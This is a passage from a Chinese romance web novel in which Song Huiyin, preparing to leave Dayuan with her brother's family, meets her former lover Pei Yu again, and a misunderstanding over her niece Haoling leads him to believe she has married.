或者,等那人来接她。 小颢灵刚刚午歇醒,肉肉的脚掌踩在地上跑出来,揉着眼睛奶声奶气的喊徽音,徽音走过去抱住她,带着她进入房内。 诃诗已经醒了,正坐在床角给颢灵缝制外衣,她见了徽音脸上带笑,喊她“阿姊。” 这三年里,不仅徽音学会了大宛语,诃诗也学会了汗语,就连小颢灵也是两种语言都教她说话。 诃诗看着徽音的笑颜,有些恍惚的放下手中的针线,忍不住道:“阿姊,你笑得真好看。”这还是诃诗这三年来,第一次看见徽音这样开怀的笑颜,比流光四溢的绡纱还有好看。 徽音将匈奴战败的消息告诉她,“诃诗,我要离开这里,回我的故乡去了。” 诃诗双眼发楞,这三年来,她已经将徽音当成了最亲的阿姊,也一直认为徽音会和他们一起生活在大宛,这消息对她来说太突然了,也太可怕了。 徽音察觉她的害怕,低头捏捏小颢灵柔软的脸蛋,她早已经想通了,大宛很好,景川想留在这里她没有异议,何况他与诃诗成亲三年,夫妻恩爱,还有一个如此可怜可爱的女儿,她怎么忍心拆散她们。 “你放心,我不会强迫景川跟我回去的。” 诃诗双脸通红,连连摆手,“我不是这个意思,我也想和你们一起回南朝。” 徽音对于她这话万分吃惊,“你说什么?” 诃诗摸摸颢灵的小手,满眼怜爱,“这些时日夫君他总是做梦,梦到从前。” 徽音缓缓抬眼,仔细的听着她说下去。 “他好几次都从梦中惊醒,醒来就哭,说对不起你,对不起父母,说自己枉为人子,枉为人弟。他叫我不要告诉你,但是我很清楚,他是想起了从前,他心里一定是很想回去的,只是碍于我才不肯说出口。” 徽音顿时五味杂陈,景川他居然记起了一切,却从未在她面前露出端倪,若不是诃诗将这些告诉她,她恐怕一直都不会发现。 诃诗继续道:“我也想去看看南朝是什么地方,看看你们曾经生活的地方。更何况,夫君和我都离不开姐姐,颢灵也舍不下姑姑,是不是?”她摇摇颢灵的手臂,笑着道。 颢灵咯咯的笑起来,钻进徽音的怀里,在她脸上吧唧亲了一口,“颢灵喜欢姑姑,姑姑好香。” 徽音忍着泪意抱紧颢灵,这小丫头从出生就是她看着长大的,跟亲生女儿无异,她也舍不得。 “可你跟着我们回南朝,远离家乡,你不怕吗?” 诃诗笑着摇头,握握颢灵柔软的胳膊,示意颢灵说话。 只见颢灵摇头晃脑,声音奶声奶气的,“只要有姑姑在,就不会让任何人欺负我们。” 诃诗也跟着道:“我与父亲在大宛也没有别的亲人,我们都商议好了,你们若回南朝,我们也跟着一起去,你们不要嫌弃就好。” 徽音忍着泪意,抱抱诃诗,给出承诺:“你放心,只要有我在一日,就会保你们母女无忧,这是我宋徽音给你们的承诺。” 第77章 时隔三年,他再次看见了…… 等到商队回来已经是一个月后, 方木人未至声先到,隔着一条街都能听见他开心的大叫声。 小颢灵听见熟悉的声音,黑黝黝的眼睛眨巴眨巴, 撅着屁股从胡床上下,迈着小短腿摇摇晃晃的走到门口, 探出圆圆的脑袋。 方木骑着马哒哒的跑来,迫不及待地进门要见徽音,衣摆被一只小肉手给抓住,他低下头去瞧, 小颢灵张开双手,眼睛睁得圆溜溜的, “阿父, 抱抱。” 方木乐得直喜,蹲下身抱起颢灵, 逗弄道:“叫我什么?” 颢灵双手手舞足蹈,“咯咯”的先笑着,声音响亮:“阿父!” 落后一步的宋景川刚到门口就听见着响亮的一声,瞧见宝贝女儿被方木抱在怀里,一声一声喊他阿父, 心中直酸的倒牙, 三步做两步上前, 从方木怀中接过颢灵, 狠狠瞪了眼方木, 想凑到女儿面前亲亲她。 颢灵在宋景川怀中扭着身子, 奋力的撅着脸不给他亲,双颊鼓起像是要哭出来一样,朝方木的放心挥手, 喊着阿父。 徽音及时的出现从宋景川手上接过颢灵,瞧两人风尘仆仆的模样,她赶紧让他们先去梳洗。 方木等不及,殷切的盯着徽音,问:“女郎,你可知匈奴败了?” 徽音点点头,宽他的心,“东西已经收拾好,就等你们回来了。 方木瞬间喜笑颜开,抱着一旁还沉浸在女儿不认识他酸涩心情中的宋景川大笑,“太好了,终于能回去咯!” 宋景川一脸木然的拉开方木,拍拍身上的灰尘。方木也不在意,双手抱在脑后,哼着小歌离开。 他离开后,宋景川一脸期期艾艾的上前,面色踌躇。徽音以为他还在伤心颢灵不认识他一事,她摸摸颢灵的脑袋,轻声道:“不认识他了吗?” 颢灵埋头在徽音的怀中,小脑袋顶着她的胸口,偷偷瞄了眼宋景川,又很快抱住徽音,在她怀中软软的撒娇蹭头,不肯说话。 徽音心软得一塌糊涂,对宋景川道:“颢灵许久未见你,难免有些生疏,过两天就好多了。” 宋景川虽有有些失望,很快便调整过来,提起另一件事情,“阿姊,我打算和你们一起回去。” 徽音闻言抬头去看他,面露疑惑。 宋景川继续道:“匈奴退走后,南朝和大宛这条路就会互通,我先和你一起回去,等你安顿好,我再回来。” 徽音抱着颢灵有些累,她把颢灵往上掂了掂,问:“之后呢?” 宋景川抿抿唇,伸手摸摸颢灵的小脑袋,面露柔和,“往常我陪她们母女住在大宛,每年春节回南朝和你一起过年。” “这样啊?”徽音拉长语调,忍住笑意,“可是你妻女说要同我一起走,陪我定居南朝,以后你一个人住这边?” 宋景川初时还没听懂徽音在说些什么,明白后面露喜意,“阿姊,你说的是真的吗?” 徽音朝屋内看了一眼,“是真的,你快去看看诃诗吧。” “好好。”宋景川凑到颢灵脸上亲了一口,迫不及待地跑进屋。 徽音看着一脸呆愣楞的颢灵,掏出帕子擦干净她的脸,抱着颢灵等在门外,方木和景川两人扔下络腮胡就跑回来了,她得等着商队回来,里头有很重要的东西。 颢灵在徽音怀中待不住,一双乌溜溜的眼睛瞅着父母的房门,“姑姑,我想去找阿娘。” 徽音塞了块奶糖哄她,“颢灵不想祖父吗,祖父马上就回来了。” 成功被转移注意力的颢灵抱着奶糖吃的津津有味,搬来小马扎坐在徽音身边,和她一起等络腮胡回来。 没过多久,络腮胡就带着商队回来了,徽音帮着他们把货物分完,络腮胡抱着颢灵爱不释手,指着最后一车对徽音道:“那是你要的东西。” 徽音打开木箱,里面放着一匣子的绿色粉末,她捞起一点放在鼻尖轻嗅,确定是她要的东西无疑。 她让人将东西拉到后院,和她这三年来收集的东西放在一起,这些东西累积起来约莫要拉五个车。 这里头是她这三年来收集的大宛、乌孙、康居、大月氏、大夏等国的物产和风俗民情,以及一匹她花了大价钱的汗血宝马。 徽音第一次在市集上见这匹的时候,就很喜欢它,毛发赤红,随着马儿的喘息流淌,像流动的赤霞般。它的眼睛里没有寻常马匹那样的温驯,全身野心和傲气,徽音见它的第一面,就觉得它很像一个人。 这匹马价值千金,徽音买不起,为此她特意去了躺羯罗族,向哈赤借了些金银。哈赤借金时说不需要她用金钱还来,要用人情来还。 徽音犹豫很久,应允了他的要求。她知道哈赤图谋的是什么,匈奴褪去,整片漠南草原上不止羯罗族一家游牧民族,南朝人不游牧,不会搬迁到草原上。但对草原却有一定的统摄力,羯罗族是想借南朝的力,获得优质广阔的牧场。 哈赤曾救过裴彧一命,在草原地盘分割上裴彧肯定是会偏向于他,但其他的南朝人却不一定了,大家各有各的小心思,哈赤为了保险起见,于是想拉拢她。 不过,他的如意算盘应该打错了。 徽音打来水洗马,汗匈之争已经过去了一月,她算过路程,即使裴彧被回京述职或其他事情耽搁了,算算时间,他也应该能抵达大宛了。 可这一个月里,没有丝毫的动静。 她想起三年前两人分开时,他说会来接她的。可三年已经过去,他是否改变心意,徽音不得而知。 他如今立下卓越功勋,威名赫赫,喜欢他的人一定比三年前还要多。说不定早就已经忘记了她,成婚生子了。 徽音拍拍马儿的头颅,也不管它听不听得,自顾自的说道:“要是你主人改变了心意,我就带你回荆州去,你要是乖乖听话,我就好生养着里,你要是不听话,我就转手把你卖了换个好价钱。” 那马儿当真灵性,好似听懂一般过来蹭蹭她的手,仰头嘶吼一声,又乖乖低下头。 徽音最后拍拍马背,转身离开。 三日后,一行人整理好行囊上路,因担心草原上还残留匈奴士兵或是被其他人劫掠,徽音找到贵山王,请求他派使臣跟她一同回南朝,一则是将南朝朝和大宛这条路线打通,二则也可以建立两国友好往来。 贵山王很爽快的应了,派了一支百人军队和使臣随徽音几人一同回去。 一路上都很安稳,只在经过一处难以行走的山坳时,徽音携带的特产车陷在了山坳的,车轮皱破裂,需要耽误两日时间才能修复。 徽音便让方木和宋景川留下等车队修理,她和诃诗带着小颢灵跟着大宛使臣的车队先行启程。 二月里倒春寒还没结束,草原上冷冽的寒风将人的面皮都吹皱了,徽音和诃诗带着小颢灵一只直待在车厢内。 这日天气晴朗,大宛时辰让人停在一处水源地点休整,诃诗手臂上的伤还没颢,只能在马车内休整。 徽音则抱着颢灵下车透透气,颢灵浑身裹成个圆滚滚的团子,徽音有些保不住她,只好牵着她的手坐在溪水边。 颢灵正是好动的年纪,在马车内窝了几日已经有些憋不住了,胡乱扯了几根野草,围着徽音身边跑来跑去,笑声清脆,惹得休整的大宛士兵也开始逗她玩。 寂寥的草原上一片欢声笑语,将多日来闷头赶路的沉郁气息一扫而净。玩闹一会后,颢灵也累了,怀中抱着一堆大宛士兵塞给她的零嘴撞进徽音怀里,软软的撒娇,”姑姑,吃!“ 徽音将颢灵抱在怀里,手探到她背上,果然摸到一片汗湿,她取出帕子塞到颢灵背后,正打算抱着她回车上换衣服。 就在这是,颢灵趴在徽音的肩膀上朝后看,小声道:”姑姑,那里有个人。“ 徽音侧头去看,溪水对岸站着一个肩宽窄腰的男人牵着一匹高大威猛的乌骓马,穿着一身玄黑色的劲衣袍服,腰胯长刀,离得远面容看不甚清晰。 徽音心中浮现一个不可能的名字,她心脏好像骤停般,听不见周围的声音,眼里心里满是溪水对岸那个慢慢朝她走过来的人。 他瘦了些,眉峰上多了一道伤痕,截断了原本孤傲的眉形。他不似三年前张扬似意,身上多了几分沉稳之气,眼底带着风霜。 徽音看着站在面前的男人,沉寂的心砰砰跳起来,她甚至有些找不到自己的声音,”你……怎么这?“ 裴彧贪婪的看着眼前人,不肯放过她一丝一毫的表情,他们分离三年,他还深深的能记清她的模样。她离开她的每一分每一刻,裴彧午夜梦回总是能看见她。 “徽音。”时隔三年,他再次看见了她。 徽音无措的低下头,脚步不自觉的向后退去,她实在是受不了这个气氛,受不了裴彧炽热的眼神,只想逃离这地。 就在这时,怀中一直乖乖的颢灵突然拉拉她的衣角,奶声奶气的喊她:”阿母,他是谁呀?” 徽音:“……” 她低头看着颢灵,小丫头眼底满是狡黠,灵动异常,还调皮的朝她眨眨眼。 徽音伸手遮住她的大眼睛,抬头去看裴彧,却见裴彧如遭雷劈,神声音破碎,不可置信的问:“你……成婚了?这是你的女儿?” 徽音看着他这副模样,鬼使神差的没有反驳。 裴彧见她一言不发,默认此事,死死的盯着她怀中的颢灵,那小丫头年纪虽小,眉眼五官却和徽音是一个模子刻出来的。他浑身僵硬的立在那里,眼中布满血丝,她同旁人成婚了,还有了女儿。 那他呢?徽音不要他吗了吗?他们不是约定好,三年之后他老接她回家的吗? “你……成婚了?”裴彧失魂落魄的呢喃出声。 徽音抱着颢灵有些吃力,她眨眨眼,只觉得裴彧现在这副破碎的模样格外喜人,她低头看了眼颢灵,顺着误会说下去,“我在大宛消息并不灵通,总不能一直等下去吧。” 裴彧急促的喘着的气,手背青筋暴起,下颚紧绷着,似乎在强忍着什么,“我说过我会去找你,我说只要给我三年……” 他看着徽音和她怀中乖巧的孩子,声音戛然而止,再也说不下去。 徽音凭什么要等他,凭什么要为了一个伤害她的男人空等三年,她成婚,这没有错。错的是那个勾引他的男人,裴彧有些丢脸的抹去眼角的泪珠,强忍内心的酸涩开口:“她父亲在哪?” 徽音眨眨眼,有些心虚道:“他留在大宛没来。” 裴彧瞬间拧着眉,对那男人更是不喜,“他就是这样对你的,让你一个人带着孩子上路?” 徽音在心中默默给景川道了个歉,胡编乱造一通,“他商队很忙,让我们母女先行,过几日再赶上来。” 裴彧不说话了,他听着徽音话里话外的维护之意,一颗心像是泡在酸水里咕嘟咕嘟冒泡泡。 站了这会,风越发大了,徽音担心颢灵穿着湿衣服会生病,抱着她往回走。 裴彧以为她生气了要离开,连忙上前拦住两人,在徽音疑惑的眼神下,他艰难道:“你别生气,我……不说他就是了。” 徽音心中浮起一阵诡异的舒爽感,她努力克制着不露异样,避开裴彧的手臂,“我要带颢灵回去换衣服。” 裴彧视线移至徽音怀中的那个小女娃,那孩子靠在徽音肩上,眼睛不眨的盯着她,活脱脱就是小徽音的模样,他心骤然抽痛半分,让开路,跟在徽音身后,嘶哑道:“倘若当时我没有对不住你,我们的孩子会不会也像她一般大。” 徽音被他着句话惊住,脚下不甚绊住,身体不稳的朝前摔去。让人奇怪的是,她竟然一点害怕的感觉都没有。 裴彧及时的捞住徽音的腰身,从她怀中接过有些抱不住的颢灵,放到自己的弯臂里。 他扶着徽音站住,掂掂手中的颢灵,这孩子对他来说很轻,对徽音来说却有些吃力。心中不由得对徽音那个夫君更加鄙夷两分,留她们母女独自出行,路上要是遇见什么事情怎么办? 他低头去看,那小丫头竟然一点都不认生,方才险些摔倒没吓着她,此刻到一个陌生男人的怀里也一点都不害怕,反而睁着一双大眼睛好奇的瞅着她,小肉掌还蠢蠢欲动。 裴彧望着她水汪汪的眼睛,面无表情的移开,对着徽音道:“马车在哪?我送你们回去。” 徽音有些迟疑,她是跟着大宛使臣的队伍走的,裴彧一个南朝人突然出现在这里,很难解释得过去,那边歇息的几个大宛士兵已经注意到这里的动静,去找了领头的使臣来查看。 那使臣上下打量了裴彧几眼,目光落在他佩刀的腰间,面露警惕,同徽音交谈。 裴彧听着两人用大宛语交谈,叽里呱啦的不知道在说些什么,他望着徽音洁白如玉的侧脸,两人见面以来还没来得及多看看她,他就被闷头的一个消息给弄乱阵脚。 他看着徽音熟稔的和那个大宛人交谈,虽然听不懂他们在说些什么,但他能感觉到两人交情不错,那个大宛人眼神从来就没有移开过徽音身上。 在他缺失的三年里,她的生活是怎样的?裴彧凝视着徽音,发觉她比记忆中要清瘦许多,肤色依旧白皙,手掌处有茧痕,那是常年骑马的人才会有。 很快,他看见徽音对那个大宛人说了一句话,那个大宛人看了他一眼,有些黯然的离开了。 徽音打发走大宛使臣,回头对裴彧道:“他让你留下了,马车在那边,随我来吧。“ 裴彧没忍住问出口,“你刚刚跟那个人说了什么,他同意我留下?” 徽音摆摆手,“没什么?“ 裴彧心中更是难受,她现在连话都不怎么愿意跟他说了,看来是真的已经忘了他。他有些用力的缩紧手臂,换来怀中小丫头不满的哼声。 颢灵凑过去,神秘兮兮,小脸上满是灵动,“我知道他们说的什么,你想听吗?“ 裴彧瞥眼看向鬼灵精怪的小丫头,本想做冷脸吓吓她,但他一看见颢灵那双和徽音极像的眼睛,就狠不下心肠。 裴彧本想柔声哄哄她开口,一想到这可爱的小丫头是徽音和旁的男人生下的,他心中就止不住的泛酸,嫉妒的要死。只好装作冷脸,“我想听你就说吗?” 颢灵眼睛就没从裴彧脸上移开过,她凑到裴彧耳边,还特意的看了眼前面的徽音,才用气音道:“你给我摸一下,我就告诉你。” 裴彧:“……?” “你要摸什么?” 颢灵伸出手,软软的摸向裴彧断眉处的刀疤,小身体有些兴奋的扭扭,“你真好看,眉毛和我们大家都不一样。” 裴彧再也维持不住冷脸,无奈叹气的往上掂了掂颢灵,让她姿势更加舒服一点,轻声哄道:“那现在可以跟我说了吧?” “姑……”颢灵连忙伸手捂住嘴边,“阿母说,你是她值得信任之人。” 裴彧听闻有些怅然若失,望着徽音纤弱的背脊,心中五味杂陈。这三年里,她在异国他乡,语言不通时,时不时过得很艰难。 一个弱女子,就算有方木护着,在那陌生的地方,有个夫君才能好好护着她。 颢灵活泼好动,察觉到裴彧对她的态度越来越宽松,她甚至有些大胆的弯腰伸手去够裴彧腰间的佩刀,刀鞘出声的声音及时的令裴彧收回眼神。 他连忙捞起颢灵软软的身体,把随时携带的骨哨塞给她玩,一边哄道:“你见过舅舅还和一个叫方木的叔叔吗?” 颢灵歪着头想了片刻,这个问题把她深深的问住了,舅舅?她没有舅舅。 她脆生生道:“我没有舅舅,有方木叔叔。” 裴彧脚步凝滞,徽音她没有找到弟弟,宋景川难道已经……难怪只有他们母女孤身上路,不见男人的身影。他喉间发涩,不敢去想徽音会有多伤心。 身后两人自以为声音压得很低,实则前面的徽音听得一清二楚,她没有出言干涉,明白裴彧的思绪已经被颢灵带偏,心中莫名有些好笑,也想看看裴彧在得知她成婚有女的情况下,会如何做。 徽音在她们的马车前听住脚步,回身去抱颢灵,对着有些手足无措的裴彧道:“你的马呢?” 裴彧朝后指指,他此处出来也是奉旨打通这条大路,带着一批人。他嫌弃队伍太慢,带满补给脱离了出来。走了三天遇上了大宛的队伍,在溪边看见朝思暮想的人儿后,就乌骓扔下过来了。 徽音又道:“你将马找回来吧,队伍里的马有限,没有多余的给你。” 裴彧捏紧拳头,不说话。 徽音看着他这副模样实在有些忍不住,她别过脸,好一会才正色道:“你要跟着我只能给我当车夫。” “好。”他答应的很快,深怕徽音反悔。 徽音把颢灵塞进马车,因是赶路,随时要出发,车上的脚踏就没有放下来。她只能撑着胳膊爬上马车,不料腰身传来热意,两只大掌紧紧攥住她的腰身,将她轻而易举的提起送上马车。 徽音回头看了裴彧一眼,叮嘱道:“马车内除了我和颢灵还有一个女子,你注意一点。” 裴彧点点头,长腿一迈上了马车,徽音还没进去,这一下和他靠得极进,两人的身躯紧紧贴在一起,不留一丝缝隙。 她心尖一颤,撩开车帘避开了裴彧。隔着一层帘子,背后的热意好半天才散去,徽音厚着脸皮无视诃诗打趣的目光,清嗓道:“你的马怎么办?” 裴彧调整了一下坐姿,单腿之起靠在车厢上,右手拿着马鞭甩甩,吹了声口哨,“乌骓通灵,自己会找过来。” 徽音也没功夫去管她,车厢内一大一小正饶有兴趣的盯着她,眼底探究的兴味都溢出来了。她关好车厢,确定外面瞧不清里面才回头。 第78章 裴彧,不许你教坏小孩。…… 诃诗一边麻利给颢灵换衣服, 一边八卦道:“阿姊,外面那个是不是就是你从前那个?” 徽音过去帮她搭把手,闻言点点头。她和裴彧的那点事情完全瞒不过去, 当时那种情况,她一个弱女子竟能跨过千山万水, 还能说动羯罗族帮忙,其背后本身就令人探究。 更何况,她身边还有一个寸步不离,一心守护他的方木。方木嘴碎却不多话, 最初的那段时间他嘴巴很紧,关于徽音过去的事情不论宋景川如何逼问也不曾说。 那是后来, 徽音的容貌本就遮掩不住, 加上她一直跟着商队走南闯北的,有不少人都知道大宛城中有个美丽漂亮的南朝姑娘, 求娶的人也不在少数,其中还有大宛和乌孙的贵族。 这让方木瞬间就坐不住了,他把前来提亲的人全部都赶走了。宋景川虽然也不愿意徽音远嫁,但方木这举动分明是要段他阿姊姻缘,于是他也坐不住了, 对着方木一顿逼问, 最后方木无可奈何, 在徽音的示意下把她和裴彧的往事交代的一清二楚, 徽音时不时还会补充两句。 对于徽音而言, 她并不觉得和裴彧有过一段丢脸, 也不想在阿弟面前藏着掖着。她潜意识里,总是觉得,有一天她和裴彧还是能再度相逢的。 颢灵这时扯了扯诃诗的手臂, 凑到她跟前耳语几句。诃诗吃惊的捂住嘴,拍拍颢灵的小屁股教训道:“你倒是机灵。” 诃诗把颢灵收拾好,回头关心徽音,“阿姊,你对他现在是什么想法呀?” 徽音侧着脸望着窗外,诃诗看不清她的表情,只听见她声音有些茫然,“我也不知道,他一直没来找我,我本来都已经打算放弃他了。可他又突然出现在我面前,我的心一下子就乱了起来,我也不知该如何做了。” 她的声音轻得像风,很快就被吹散。诃诗还是第一次见她着副模样,一起生活的三年里,徽音可以说是他们一家人的主心骨,商队去拿货,去哪里销卖,她上手没多久就弄得一清二楚,带领商队壮大。 诃诗没有读过多少书,对于南朝的语言也只是会说会写,她不知道该怎么去形容徽音,用大宛人的话说,她是个很厉害的姑娘。 原来这样的厉害又好看的姑娘,在男女之情里,也会患得患失吗? 诃诗正想靠过去安慰她,却见徽音很快的恢复正常,她笑着回头,眼光潋滟,美丽得不可方物。诃诗听见她道:“没什么好纠结的,凭心而行就行。” 到了夜间,寒风呼啸,好在她们这个车厢宽大,底层也都加了防风保暖的毛毡毯,舒适温暖。诃诗和颢灵已经睡下,颢灵躺在中间,诃诗和徽音一左一右的护着她。 徽音暂时没有睡意,她枕着脑袋看着车厢外,似要透过车门看到外面的那个人。过去几天给她们驾车的马夫到了夜间休息的时候也有帐篷可睡。裴彧是异族人,大宛人是不会同意他进帐篷的。 这样冷的天,纵然他习武身强体壮,估计也受不住。徽音动作轻柔的起身,将一床用不上的毛毡毯从座位底下找出来,抱着毯子来到车门口,轻轻敲击,“裴彧?” “我在。” 听到这声我在,徽音说不出心中感受,大宛军队虽然跟着安全,但诃诗行动不便,颢灵又太小,她夜里睡觉总是放不下心,时不时要醒过查看一次。 她打开门锁,拉出一条缝隙,寒风呼呼倒灌进来,徽音把毛毡毯递出去,小声道:“风大,太冷了,你用这个裹着。” 车厢外的油灯被风吹得四处乱撞,橘色的灯光也摇摇晃晃的打在徽音莹白的脸上,裴彧望着她扔出来的那床毛毡毯,压在心底的情愫不可抑制的喷涌出来。 他披上毛毡毯,靠近那条小缝,“我们说会话,成吗?” 徽音看着那丝漏进来的暖光,抱着被子坐在车门口,轻声回道:“你想问什么?” 她等了一会,才听见外头那人涩然道:“他对你好吗?” 徽音回想起景川和诃诗相处的日常,毫不犹豫的拿过来套在自己身上,“他对我很好,天气好的时候会带我去跑马,每回从外面走商回来都会给我带礼物,家中总是备着我爱吃的东西,银钱全部交给我管,其他事都不用我操心。” 裴彧只感觉胸腔像是破了一个大洞,厚厚的毛毡毯都挡不住呼呼漏进来的风,冷得他浑身发颤。 他原以为那个男人不行,对徽音不好,他还有些机会。可这会听着徽音述说她和那个男人之间相处的时光,每一个字都让他嫉妒万分。 他再也不能欺骗自己,徽音是因为身在他乡艰难过活才找了一个男人,他了解她骨子里坚韧和倔强,她一定是很喜欢很喜欢那人,才会和那人成亲生子。要知道,他和徽音在一起的那段时间里,她可是一直在偷偷服用避子药。 裴彧抹了把脸,艰难的喘息着,那孩子看着年纪已有两岁,看来,她到了大宛没过久就成婚了。 裴彧哑着嗓子又问了几个问题,恨不得将他们二人间的事情问得清清楚楚,一遍一遍在心里反复回忆,自残般虐着自己。 徽音听着外头的声音越来越压低,心中有些惴惴不安,莫不是说的太过了。她扣住车门,探出头去查看外面的情况。 灯油已经燃烧殆尽,火苗一闪一闪的,甚是不清楚,可徽音却看清了裴彧脸上的泪痕,这好像是重逢以来,他第二次落泪了。 她有些恍惚,犹记得两人决裂那夜他都没落泪,怎么如今越发爱哭了,难不成是年纪大了。 她默默的退回去,想必此刻他应该也不想让她看见这副狼狈的模样。过了许久,徽音困意袭来,迷迷糊糊间听见裴彧问:“你能和他分开,回到我身边吗?” 那声音包含祈求和痛苦,徽音还以为自己幻听了,直到裴彧又重复了一遍,她才醒过神来,心中五味杂陈,“我已经成婚了,还有孩子,你别说这种话。” 话没说的太明白,可话里话外的意思都是拒绝。裴彧自嘲的笑笑,原来这就是咎由自取的滋味。 以他的本事,完全可以将徽音掳走,只要带着徽音回到南朝,她就再也离不开他身边,会和成婚,慢慢忘记在大宛的一切,忘记那个该死男人。 至于那个小丫头,看在她是徽音女儿的份上,他会把她一起带回南朝,当作自己的女儿抚养长大。 他完全可以这么做的,但他不敢,他害怕看见徽音充满厌恶的眼神,害怕她在对他全然无视,更不想她从此都在不开心中渡过一辈子。 从前他便是这样,独断专行,徽音说过他几次,他都不曾改过。他不想再像从前一样,让她生气厌恶。 “你可以不和他分开,但能不能也别拒绝我?” 徽音有些怀疑自己耳朵出了毛病,她缓缓转头,看着那扇门,不可置信的问:“你知道你在说什么吗?” 裴彧:“我很清醒,也知道自己在说什么。徽音,我不会破坏你们之间的关系,我不会让你夫君发现的。” 徽音:“……”那我是不是还要多谢你了。从前她怎么发现裴彧这么没有下限,公然挖墙角。 她言辞拒绝:“我夫君待我很好,我不能对不起他。” 徽音怕他又蹦出什么惊世语录,唰的一下关闭车门,朝外道:“不早了,我要睡了,你也歇息会吧。” 她抱着被子躺回去,说是要睡了,实则早已经被裴彧那句话惊得困意全无,他怎么能说出那样的话。 徽音翻了个身,借由月光看清了熟睡的颢灵,发觉她小脸一片通红,呼吸炽热。她将孩子抱在怀中探了探体温,烧得有些烫手。许是白日里出了汗又没吹了风,到了晚上竟然高热起来。 她连忙叫醒诃诗,翻出随身携带的药丸兑水喂给颢灵,用药酒擦拭她的身体。一番下来毫无起色,诃诗急得哭出声。 车外的裴彧一直没睡,听见里面的动静敲门问:“怎么了?” 徽音焦急道:“颢灵生病了,高热不退。” 诃诗害怕的抱紧颢灵,六神无主,不停的轻吻颢灵的额头。在大宛时,他们邻居家也有一个孩子也是夜半生起高热,没能及时救下来,高热烧成了痴傻儿。 徽音慌乱片刻很快镇定下来,她接过颢灵给她穿衣,全身上下裹得的密不透风。她对诃诗道:“你别着急,此处不远便是羯罗族,他们那里有一个医术很好的巫医,我带颢灵去找他。” 诃诗擦干泪,慌乱的穿衣服,“我……我跟你一起去。” 徽音劝住她,明日方木和景川就会追上来,她骑马带着颢灵往返至多明天午时才能回,诃诗得留下告知他们消息。 她定了定心神,宽慰诃诗,“你放心,有裴彧在,我们不会有事的。” 诃诗在徽音冷静的眼神的慢慢镇定下来,起身去帮她开车门。 徽音走出车门,裴彧已经牵着乌骓等在车旁,见她出来上前接过颢灵,扶徽音上马,又拿起毛毡毯将两人裹好,避免骑马时受风。 他全程无话,动作却可靠沉稳,揽着徽音快马加鞭离开。 徽音被裴彧环在怀里,她怀里则抱着颢灵,她躲在毛毡毯里,没有感到一丝寒冷。她静静地靠在裴彧胸膛上,听着他强劲有力的心跳,视线里是裴彧紧绷的下额。 她闭上眼,抱紧裴彧的腰身。 骑行将近约莫一个时辰,天边已经开始泛白,裴彧停下马,抱着徽音落地,羯罗族这两年里又搬迁了地方,此处地势不平,有些弯弯绕绕,最后一段路只能步行过去。 裴彧将颢灵抱在怀中,牵着徽音朝前走,没过多久,他就侧脸问:“累不累,要不要我背你?” 徽音摇摇头,她只是看着比以前有些瘦,这三年来她跟着商队走南闯北的,身体比以前好了很多,这点路对她来说轻轻松松。 裴彧也没再说上什么,握紧徽音的手,牵着她紧紧不放。 徽音注意道,什么都没说。 “方木呢,怎么一直没见他?” 徽音心说,你终于想起来问他,方木可是很惦念你这个少将军呢,她回道:“我们的行李车轮坏了,停滞了两日,今日午时便能到了。” 两人脚程很快,没一会就到了羯罗族,哈赤见到两人很是惊喜一阵,听闻是为求医而来,很爽快的就让人去把巫医叫来。 徽音守在颢灵身边,看着她的体温慢慢降下来,恢复正常,紧绷的弦终于松开。颢灵要是有个什么好歹,她没法给景川和诃诗交代。 裴彧一直守在徽音身后,看她为颢灵着急难过,却没有任何立场去安慰她。 哈赤见孩子已经退烧,笑眯眯的请裴彧移步叙旧,裴彧看着徽音,等她点头了才跟着哈赤离开。 哈赤看着这一幕,心中颇为得意,他的眼光从来不会出错,那匹汗血宝马送出去不亏。他胡子翘翘,想着叫人去叮嘱一下哈庆,别在裴彧面前说漏嘴,他曾经打徽音主意一事。 羯罗族巫医的药很见效,颢灵醒来后活蹦乱跳的,完全看不出她昨晚高烧不醒的模样。 她醒来就软软的窝在徽音怀中喊饿,但时候不早了,他们得尽快回去赶上队伍。回去晚了,景川和方木一定坐不住,要是出来找她们又错过可就不好了。 裴彧和哈赤也谈完事情,哈赤一脸喜意,不难看出裴彧许了他什么好处,让他心满意足。走之前,裴彧特意让哈赤准备了吃食,还有些小孩子可以克化的热牛乳。 他单手抱着颢灵,另一只喂颢灵吃饭。徽音走在裴彧身侧,没想到裴彧对小孩子这么有耐心,颢灵年纪还小,吃饭时总是会弄脏衣服,裴彧胸前那块布料就沾上了牛乳,一片深色,他表情却没有丝毫嫌弃。 徽音三两下解决手中的胡饼,伸手过去,“颢灵给我吧,你先吃些东西。” 裴彧表情未动,淡淡拒绝,“你抱不住她,还是我来吧。”他顿了顿,试探道:“我腾不出手,要不你喂我?” 他方才还一只手抱颢灵一只手喂她,在这起伏的坡上如履平地,这会就腾不出手了?徽音没有拆穿他,将手中的胡饼掰成小块喂到裴彧嘴边。 他起先还好好的,一副正经模样,没吃两口就本性毕露了,低头叼胡饼时总是会不经意的用舌头扫过徽音的指尖,见徽音没有反应,变本加厉的含住她的手指,黑漆漆的眼盯着徽音,情愫翻涌。 徽音抽回手,拿出水壶仔仔细细的洗干净,心中对裴彧有些无语,她现在还是别人的妻子,他弄出这动静是想干什么,诱她红杏出墙吗? 裴彧:“……”他看见徽音嫌弃的洗手,仿佛狠狠的一巴掌拍在他的脸上。 颢灵疑惑的瞅瞅姑姑,又疑惑的看着面前的男人,童言稚语:“你这么大了,怎么还要人喂?” 徽音脸色发红,羞恼瞪了裴彧一眼,加快脚步,都怪他在孩子面前不正经。 裴彧摸摸鼻头,徽音双眼犹如含有春水,瞪他那眼让他半身都有些酥麻,刚刚死去的心慢慢活络过来,他摸摸颢灵的脑袋,哄她:“刚刚看到的事情不许告诉你阿父,知道吗?” “为什么?”颢灵大眼睛里满是疑惑。 裴彧没半点不好意思,继续欺骗小孩:“因为你阿父知道了会不开心,你阿母也会不开心,颢灵是个好孩子,不希望父母不开心,对不对?” 颢灵有些纠结的咬咬手指头,姑姑喂他吃东西,阿父和阿母为什么会不开心? 徽音忍无可忍,回头斥道:“裴彧,不许你教坏孩子!” —— 距离大宛使臣驻扎地还有一段路时,裴彧远远就瞧见有两匹马朝他的方向奔来,前面那人他认识,正是三年前他派去保护徽音的方木,后头那人容貌清隽,给他一股万分熟悉之感,似曾相识一般。 方木挥着手,满脸激动的跑过来,看见裴彧都有些说不出话,裴彧驭马上前,轻轻捶在方木肩侧,语气熟稔:“三年不见,你小子结实了不少,武艺可有落下?” 方木眼含热泪,“少将军……方木还以为这辈子都见不到你,见不到那群兄弟了。” 